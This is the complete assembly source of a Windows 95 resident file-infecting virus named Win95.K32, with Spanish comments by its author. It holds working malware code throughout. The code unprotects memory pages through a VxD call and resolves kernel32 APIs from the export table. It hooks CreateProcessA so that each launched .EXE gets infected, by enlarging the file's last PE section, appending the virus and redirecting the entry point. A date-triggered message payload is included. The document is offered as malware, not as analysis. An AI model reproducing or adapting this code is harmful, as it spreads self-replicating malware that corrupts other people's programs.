;*********************************************************************** ;* * ;* VIRUS WIN95.K32 By nIgr0 * ;* * ;*********************************************************************** ; ; Virus residente, pa win95 ; Uso el espacio libre dejado por el header del kernel32 ; dentro de la primera p gina. ; Parcheo el API CreateProcessA mediante un JMP ; Modifico los permisos de las p ginas que voy a utilizar ; mediante una llamada a CALLVXD0 (_PageModifyPermissions) ; Vxd 01 servicio 0d. ; Hallo la direccion de las apis a utilizar buscando en la ; export table del kernel32 , supongo la direcci¢n base del ; kernel32.dll como 0bff70000h . La unica comprobaci¢n que hago ; al respecto es mirar en la pila [sp+3]=0b7h, con lo que ; por lo menos si no es 0bff70000h se acerca :) ; Infecto aumentando la ultima secci¢n del file y modifico el ; entrypoint del file, pero no modifico los atributos de la £ltima ; secci¢n aunque estos sean de solo lectura ,paso completamente de esos ; atributos y luego mientras se ejecuta el virus este se pone los ; atributos de pagina que quiera mediante el servicio ; _PageModifyPermissions. ; .386p .model flat,STDCALL include win32.inc extrn ExitProcess:PROC extrn MessageBoxA:PROC ;apis exportadas unicamente en la primera extrn CreateProcessA:proc ;generaci¢n ;*********** Aqu¡ algunas equs interesantes **************** viriisize equ (((offset end - offset start)+064h)/065h)*065h K32 equ 0bff70000h hueco equ 0bffc0400h ;Zona en el header GENERIC_READ EQU 80000000H ;abre archivo para lectura GENERIC_WRITE EQU 40000000H ;abre el archivo para escritura OPEN_EXISTING EQU 3 ;usado por CreateFile para abrir archivo existente .data dummy db 0 ;de esta secci¢n paso mess db 'nIgrO rUlez!!!$',0 text db 'Virus Win95.K32 .... Ejecutado',0 .code start: xor eax,eax ;este es el codigo de un Hoste Ficticio push eax lea eax,mess push eax lea eax,text push eax xor eax,eax push eax nop nop nop nop nop ; call MessageBoxA Lajodimos: Push LARGE -1 call ExitProcess ;***************** Comienzo del Virus ********************** startvirii: cmp byte ptr [esp+3],0bfh ;verifico que se llama desde el jne malasunto ;la direcci¢n bf??????h pushad ;pusheo tooo push ebp call getdesp ;obtengo el delta getdesp: pop ebp sub ebp,offset getdesp jmp saltito ;jmp pa esquivar la zona de datos :) ;***************** Comienzo de la zona de Datos *********** startdata: PARCHE: mov eax,0bff70400h+offset starthook-offset startvirii jmp eax codigoparcheado: db 010h dup (0) FIRMA db 'Virus K32 por nIgr0 ... "Hazlo o no lo hagas pero no lo intentes"',0 NLH db 'nIgr0_lives_here!!!!',0 IOBYTES dd 0h,0h llamada dd 0bff713d4h ;direcci¢n de CallVXD0 hallada anteriormente hoste db 'c:\virus\k32\K.EXE',0,' ' ahand dd 0 ; handle del virus que abro peheaderoffset dd 0 ; Guardo el offset del peheader del archivo ObjectTableoffset dd 0 ; Guardo el offset de la object table en memoria bytesread dd 0 ; numero de bytes que leo/escrito en el archivo secdesplaza dd 0h secphy dd offset startvirii- offset start ultfisicalsize dd 0h newobject: ; Zona en la que almaceno el ultimo objeto oname db ".nigro",0,0 ; Pa modificarlo a placer virtualsize dd 0 RVA dd 0 physicalsize dd 0 physicaloffset dd 0 reserved dd 0,0,0 objectflags dd 0h peheader: ; Estructura del Pe header signature dd 0 cputype dw 0 numObj dw 0 db 3*4 dup (0) NtHeaderSize dw 0 Flags dw 0 db 4*4 dup (0) entrypointRVA dd 0 db 3*4 dup (0) objalign dd 0 filealign dd 0 db 4*4 dup (0) imagesize dd 0 headersize dd 0 db 400h dup (0) addresstable dd 00h ;direccion de la addresstable en la export table nametable dd 00h ;direccion la tabla de punteros a strings (de la export table) ordinaltable dd 00h ;puntero a la ordinal table contador dd 00h ;pa calcular la posici¢n del puntero en la nametable que ;que apunte a la api buscada. apiabuscar dd 00h ;offset donde se encuentra la string de la api a ;buscar (es usada temporalmente por mi ;procedimiento GetAdressAPi) longitudapi dd 00h ;************** Direcciones para las APIS ******************* nombreapis: dd 010d db 'CreateFile',0,' ' ;strings de las apis que dd 014d db 'SetFilePointer',0,' ' ;voy a utilizar dd 08d db 'ReadFile',0,' ' ;junto con el tama¤o de la dd 09d db 'WriteFile',0,' ' ;string dd 011d db 'CloseHandle',0,' ' dd 014d db 'CreateProcessA',0,' ' dd 016d db 'GetModuleHandleA',0 dd 014d db 'GetProcAddress',0,' ' direccionesapis: newCreateFile dd 00h ;0bff7799ch ;valores para mi versi¢n de WIN :) newSetFilePointer dd 00h ;0bff770e4h newReadFile dd 00h ;0bff7594ah newWriteFile dd 00h ;0bff75951h newCloseFile dd 00h ;0bff7bc8bh newCreateProcessA dd 00h ;0bff775e8h newGetModuleHandleA dd 00h newGetProcAddress dd 00h dllmensajito db 'USER32.dll',0 apimensajito db 'MessageBoxA',0 ;***************** Fin de la Zona de datos *********************** saltito: ;en eax viene el entrypoint del virii mov ebx,eax ;copia de seguridad xor eax,eax ;empiezo a calcular la direccion de CALLVXD0 mov esi,K32 + 3CH lodsw ;en ax me quedar  el comienzo del PE header add eax,K32 ;a la que le suma la direcci¢n base del Kernel32 cmp dword ptr [EAX],00004550H ;verifico que es un PE header je NoERROR ERROR: jmp melaspiro NoERROR: mov esi,[EAX + 78H] ; 78H = la direcci¢n a la export table add esi,K32 + 1CH ; 1CH RVA para la adress table lodsd ; en eax queda la RVA al primer ordinal add eax,K32 ; es decir la direcci¢n a la CALLVXD0 push eax ; pop esi ;en esi=eax lodsd ;obtengo la RVA de la primera API add eax,K32 ;EAX = La direcci¢n de la primera API mov edi,ebx and edi,0fffff000h ;calculo la pagina del virii ror edi,012d push eax call modificarpermisos pop eax and ebx,00000fffh ;verifico que no va a utilizar 2 paginas add ebx,viriisize ;en caso de que utilice 2 paginas , marco cmp ebx,01000h ;la segunda pagina tambien para escritura jl continuar inc edi push eax call modificarpermisos pop eax continuar: mov [ebp+llamada],eax ;salvo la direcci¢n de CALLVXD0 mov eax,0bff70400h ;verifico que no est  residente mov ebx,dword ptr [eax] cmp ebx,dword ptr [ebp+startvirii] je yaresidente mov ecx,08h ;numero de APis a buscar lea esi,ebp+nombreapis lea edi,ebp+direccionesapis otraapi: ;obtengo la direccion de las apis push edi ;que voy a utilizar push esi push ecx call GetAddressApi pop ecx pop esi pop edi mov dword ptr [edi],eax add edi,4h add esi,021d dec ecx jne otraapi ;bueno en este punto tenemos las direcciones ;necesarias :) mov eax,00002a00h call INT_21 ;compruebo la fecha del sistema cmp dh,02d jne nopayload ;fecha de activaci¢n 19d de febrero cmp dl,019d jne nopayload lea ebx,ebp+dllmensajito ;Obtengo la direccion base de la push ebx ;libreria USER32.dll donde reside call [ebp+newGetModuleHandleA] ;el api MessageBoxA lea ebx,ebp+apimensajito push ebx push eax call [ebp+newGetProcAddress] ;obtengo la direccion de MessageBoxA push 0 lea ebx,ebp+NLH push ebx lea ebx,ebp+FIRMA push ebx push 0 call eax ;llamo al api MessageBoxA nopayload: mov edi,0bff70h call desprotegerpagina mov edi,dword ptr [ebp+newCreateProcessA] and edi,0fffff000h ror edi,012d call desprotegerpagina ;desprotejo 2 paginas una para poder ;parchear el api y otra en la que ;quedar‚ residente inc edi call desprotegerpagina ;y la siguiente mov esi,dword ptr [ebp+newCreateProcessA] lea edi,ebp+codigoparcheado mov ecx,010h rep movsb ;copio los 10h primeros bytes del api ;CreateProcess ;para poder devolver el control al API ;cuando sea llamada. lea esi,ebp+PARCHE mov edi,dword ptr [ebp+newCreateProcessA] ;pongo el jmp mov ecx,010h ;en la API ;del api rep movsb lea esi,ebp+startvirii mov edi,0bff70400h mov ecx,viriisize rep movsb ;copio el virus en memoria yaresidente: melaspiro: popad pop ebp malasunto: db 0b8h ;esto es un mov eax,inm oldip dd 0401000h ;Ip de inicio jmp eax enddata: ;*************** Modifica permisos de pagina ********************* ;en eax la direccion de callvxd0 ;y en edi la pagina a modificar desprotegerpagina: ; LLamada a CALLVXD0 mov eax,dword ptr [ ebp + offset llamada] modificarpermisos: push 020060000h ;nuevos atributos de p gina push 00h push 01h push edi push 001000dh ;llamada a la VXD 1 servicio D (_PageModifyPermissions) call eax ret ;**************** Rutina para llamar a la int 21h ********************** INT_21: ; LLamada a la INT 21 push ecx push eax push 002a0010h mov eax,dword ptr [ ebp + offset llamada] call eax RET ;************** Procedimiento que encuentra la direccion de las apis *************** ;************** en la export table del Kernel32 *************** GetAddressApi: mov eax,dword ptr [esi] mov dword ptr [ebp+longitudapi],eax add esi,04h mov dword ptr [ebp+apiabuscar],esi ;pusheo el valor de la string xor eax,eax mov dword ptr [ebp+contador],eax ;pongo a cero el valor del contador mov esi,K32 + 3CH lodsw ;en ax me quedar  el comienzo del PE header add eax,K32 ;a la que le suma la direcci¢n base del Kernel32 mov esi,[EAX + 78H] ; 78H = la direcci¢n a la export table add esi,K32 + 1cH ; 1CH RVA para la adress table lodsd ;obtengo los offset de algunas TABLAS add eax,K32 ;interesantes de la export table mov dword ptr [ebp+addresstable],eax lodsd add eax,K32 mov dword ptr [ebp+nametable],eax lodsd add eax,K32 mov dword ptr [ebp+ordinaltable],eax ;ADDRESS TABLE RVA = DD Relative Virtual Address of the Export Address ;Table. ;NAME TABLE RVA = DD Relative Virtual Address of the Export Name Table ;Pointers. ;ORDINAL TABLE RVA = DD Relative Virtual Address of Export Ordinals mov eax,dword ptr [ebp+nametable] mov esi,eax anotherapi: push esi lodsd mov esi,eax add esi,K32 mov edi,dword ptr [ebp+apiabuscar] mov ecx,dword ptr [ebp+longitudapi];en ecx el numero de bytes cld ;con los que compararemos repe cmpsb je encontrada pop esi add esi,04h inc dword ptr [ebp+contador] jmp anotherapi encontrada: pop esi xor eax,eax mov eax,dword ptr [ebp+contador] add eax,eax add eax,dword ptr [ebp+ordinaltable] ;Con el valor de contador mov esi,eax ;me voy a la ordinal table lodsw ;y busco el ordinal del API and eax,0000ffffh add eax,eax add eax,eax add eax,dword ptr [ebp+addresstable] ;Y con el ordinal me voy a la mov esi,eax ;adress table lodsd add eax,K32 ;devuelvo en eax la direccion del API ret ;*************************************************************************** ;* * ;* Comienzo de la Rutina que intercepa la API CreateProcessA * ;* * ;*************************************************************************** starthook: push ebp call getdelta ;obtengo el delta getdelta: pop ebp sub ebp,offset getdelta mov eax,[esp+0ch] ;obtengo el puntero a la cadena de texto ;de la pila :) pushad ;pusheo tooo mov esi,eax lea edi,ebp+hoste otrocar: cmp byte ptr [esi],0 ;copio la cadena de texto con el nombre je sacabo ;de la victima en la variable hoste movsb jmp otrocar sacabo: movsb ;copio el 0 tambi‚n lea esi,ebp+hoste cmp byte ptr [esi],022h jne proseguir ;rehago el string por si est  ;entre comillas lea edi,ebp+hoste inc esi mascara: cmp byte ptr [esi],022h je finalizar movsb jmp mascara finalizar: mov byte ptr [esi],0h movsb proseguir: cmp word ptr [edi-3h],'EX' je esunexe cmp word ptr [edi-3h],'ex' je esunexe jmp emergencia esunexe: lea esi,ebp+hoste ;Abro el archivo xor eax,eax push eax push eax push large OPEN_EXISTING push eax push eax push large GENERIC_READ or GENERIC_WRITE mov eax,esi push eax call dword ptr[ebp + newCreateFile] cmp eax,-1 je emergencia mov dword ptr [ebp + offset ahand],eax ; Guardo el handle ; Busco el comienzo del PE header que est  en la posici¢n 3ch mov edx,03ch call moverpuntero ; Leo la posici¢n del Pe header mov ecx,004h lea edx,[ebp + offset peheaderoffset] call lectura ; Me muevo hasta el PE header mov edx,dword ptr [ebp+offset peheaderoffset] call moverpuntero ; Leo un poco del header para calcular todo el tama¤o del ; pe header y object table mov ecx,058h lea edx,[ebp + offset peheader] call lectura ; Llevo el puntero al comienzo del PE header de nuevo mov edx,dword ptr [ebp+ offset peheaderoffset] call moverpuntero ; leo todo el pe header y la object table mov ecx,dword ptr [ebp + offset headersize] lea edx,[ebp + offset peheader] call lectura ; Me aseguro que es un pe y que no est  infectado cmp dword ptr [ebp + offset peheader],00004550h ; PE,0,0 jnz notape cmp word ptr [ebp + offset peheader + 4ch],00badh ;si est  infectado salir jz notape ; marco el archivo como infectado en una zona del Header mov word ptr [ebp + offset peheader + 4ch],00badh ; Localizo el offset de la object table xor eax,eax mov ax, word ptr [ebp + offset NtHeaderSize] add eax,18h mov dword ptr [ebp + offset ObjectTableoffset],eax ;relativo al comienzo del Pe header ;Calculo el Offset del £ltimo objecto de la tabla mov esi,dword ptr [ebp + offset ObjectTableoffset] lea eax,[ebp + offset peheader] add esi,eax xor eax,eax mov ax,[ebp + offset numObj] mov ecx,40d xor edx,edx mul ecx add esi,eax sub esi,40d lea edi,[ebp + offset newobject] mov ecx,10d push esi push edi rep movsd ;copio la entrada en la object table en memoria mov eax,dword ptr [ebp + offset physicalsize] mov dword ptr [ebp + offset ultfisicalsize],eax mov dword ptr [ebp + offset secphy],eax ; Calcula el tama¤o fisico pa el ultimo object mov ecx,dword ptr [ebp + offset filealign] mov eax,dword ptr [ebp + offset physicalsize] add eax,viriisize xor edx,edx div ecx inc eax mul ecx mov dword ptr [ebp + offset physicalsize],eax mov eax,dword ptr [ebp + offset virtualsize] mov dword ptr [ebp+ offset secdesplaza],eax ;el tama¤o virtual ser  ;el desplazamiento dentro de la secci¢n ;RVA del objeto + desplazamiento virtual= entrypoint RVA ; calcula el tama¤o virtual del objeto modificado mov ecx,dword ptr [ebp + offset objalign] mov eax,dword ptr [ebp + offset virtualsize] add eax,viriisize xor edx,edx div ecx inc eax mul ecx mov dword ptr [ebp + offset virtualsize],eax ; Modifico la image size del archivo. mov eax,viriisize add eax,dword ptr [ebp + offset imagesize] mov ecx,[ebp + offset objalign] xor edx,edx div ecx inc eax mul ecx mov dword ptr [ebp + offset imagesize],eax ; Copio el objeto modificado en el buffer pop esi pop edi mov ecx,10d rep movsd ; Calculo la nueva Entrypoint RVA mov eax,dword ptr [ebp + offset RVA] add eax,dword ptr [ebp + offset secphy] mov ebx,dword ptr [ebp + offset entrypointRVA] mov dword ptr [ebp + offset entrypointRVA],eax add ebx,dword ptr [ebp + offset peheader + 34h] ;le sumo la base adress mov dword ptr [ebp + offset oldip],ebx ;completo la variable oldip para generar ;el jump al hoste ; de nuevo al Pe header mov edx,dword ptr [ebp+offset peheaderoffset] call moverpuntero ; Escribo el pe header y la object table en el archivo mov ecx,dword ptr [ebp + offset headersize] lea edx,[ebp + offset peheader] call escritura ; Me voy al final del file para copiar el virus mov edx,dword ptr [ebp + offset physicaloffset] add edx,dword ptr [ebp + offset ultfisicalsize] call moverpuntero ; Copio el virus al final (de la ultima secci¢n) mov ecx,viriisize lea edx,[ebp + offset startvirii] call escritura notape: push dword ptr [ebp + ahand] call dword ptr [ebp + newCloseFile] emergencia: lea esi,ebp+codigoparcheado mov edi,dword ptr [ebp+newCreateProcessA] ;pongo otra vez mov ecx,010h ;los 010h primeros bytes rep movsb ;del api popad pop ebp call getdelta2 ;obtengo el delta otra vez getdelta2:pop eax sub eax,offset getdelta2 pop dword ptr [eax+dirretorno] call dword ptr [eax+newCreateProcessA] ;llamo a la api push ebp call getdelta3 ;obtengo el delta otra vez getdelta3:pop ebp sub ebp,offset getdelta3 pushad lea esi,ebp+PARCHE mov edi,dword ptr [ebp+newCreateProcessA] ;pongo otra vez mov ecx,010h ;el parche ;del api rep movsb popad pop ebp db 068h ;opcode de un push dirretorno dd 00h ret lectura: ;Llamada al api ReadFile push large 0 ;En ecx: Numero de bytes a leer lea eax,[ebp +IOBYTES] ;En edx: el offset del buffer push eax push ecx push edx push dword ptr [ebp + ahand] call dword ptr [ebp + newReadFile] ret moverpuntero: ;Llamada al api SetFilePointer push LARGE 0 ;en edx: el offset del archivo push LARGE 0 push edx push dword ptr [ebp + ahand] call dword ptr [EBP + newSetFilePointer] ret escritura: ;Llamada al api WriteFile ;en ecx: bytes a escribir ;en edx: offset del buffer push LARGE 0 LEA eax,[ebp + IOBYTES] push eax push ecx push edx push dword ptr [ebp + ahand] call dword ptr [ebp + newWriteFile] jur: ret endhook: endvirii: end: end startvirii